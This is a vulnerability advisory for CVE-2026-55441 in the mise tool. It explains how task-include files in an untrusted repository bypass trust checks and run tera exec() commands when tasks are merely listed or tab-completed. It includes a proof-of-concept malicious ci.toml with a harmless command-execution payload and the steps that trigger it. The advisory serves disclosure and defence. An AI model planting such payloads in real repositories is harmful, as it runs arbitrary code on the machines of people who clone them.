high

CVE-2026-55441

crates.io · mise

Summary

Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository

Severity
high
CVSS
8.6
EPSS
0.2% (p8)
CWE
CWE-78, CWE-94, CWE-732
Also known as
GHSA-77g9-363w-rccq
Published
2026-06-23
Updated
2026-06-23

Advisory details

Summary

mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task

Details

Trust is enforced only inside config-file parsing:

Task-include files are loaded by load_tasks_in_dir / load_local_tasks_with_context, which walk every directory from CWD up to root. For each directory, configs_at_root returns the parsed (trusted) configs rooted there; if there is no config in the directory, mise falls back to the default task-include list resolved relative to that directory and loads whatever it finds — with no trust check:

src/config/mod.rs (load_tasks_in_dir, ~2586):

let (includes, resolve_dir) = configs
    .iter()
    .find_map(|cf| match cf.task_config_includes() { … })
    .transpose()?
    .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -> default includes
…
for include in &includes {
    let paths = … expand_task_include(&resolve_dir, include);
    for p in paths {
        let mut loaded = load_tasks_includes(config, &p, dir, &task_config_dir, templates).await?;
        …
    }
}

default_task_includes() (src/config/mod.rs:1825):

vec!["mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks"]

load_task_file (src/config/mod.rs:2645) reads the TOML directly with no trust check and renders each task:

let raw = file::read_to_string_async(path).await?;
let mut tasks = toml::from_str::<Tasks>(&raw) … ;        // no trust_check
…
resolve_task_template(&mut task, templates)?;
if let Err(err) = task.render(config, &config_root).await { … }  // renders tera, incl. exec()

Task::render (src/task/mod.rs:1475) renders many fields through tera, and the tera instance is built with get_tera(Some(config_root)):

let mut tera = get_tera(Some(config_root));
…
if contains_template_syntax(&self.description) {
    self.description = render_str(&mut tera, &self.description, &tera_ctx)?;
}

get_tera (src/tera.rs:407) registers the command-executing functions:

pub fn get_tera(dir: Option<&Path>) -> Tera {
    let mut tera = TERA.clone();
    let dir = dir.map(PathBuf::from);
    tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
    tera.register_function("read_file", tera_read_file(dir));
    tera
}

So a tera {{ exec(command='…') }} placed in any rendered task field (description, dir, shell, sources, aliases, depends, tools, …) of a TOML task file — or in a #MISE description="…" header of an executable script task (Task::from_path) — executes when the task is merely loaded for listing, with no trust prompt. exec() is not gated by experimental (default experimental = false).

Proof of concept

Tested against the prebuilt release binary, mise 2026.6.4 linux-x64, with a pristine HOME so nothing is pre-trusted.

Repo layout :

malicious-repo/
└── mise-tasks/
    └── ci.toml

mise-tasks/ci.toml:

[test]
description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}"
run = "cargo test"

Trigger (any of these; a victim who has mise activate set up hits the last one by just pressing Tab to complete a task name):

export HOME="$(mktemp -d)"          # nothing pre-trusted
export MISE_TRUSTED_CONFIG_PATHS=""
cd malicious-repo
mise tasks            # or: mise task ls / mise run / mise tasks --usage

output:

test

and the side effect :

miau@linux:~$ cat /tmp/mise_clone_proof.txt
uid=1000(miau) gid=1000(miau) groups=1000(miau)…
linux 

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.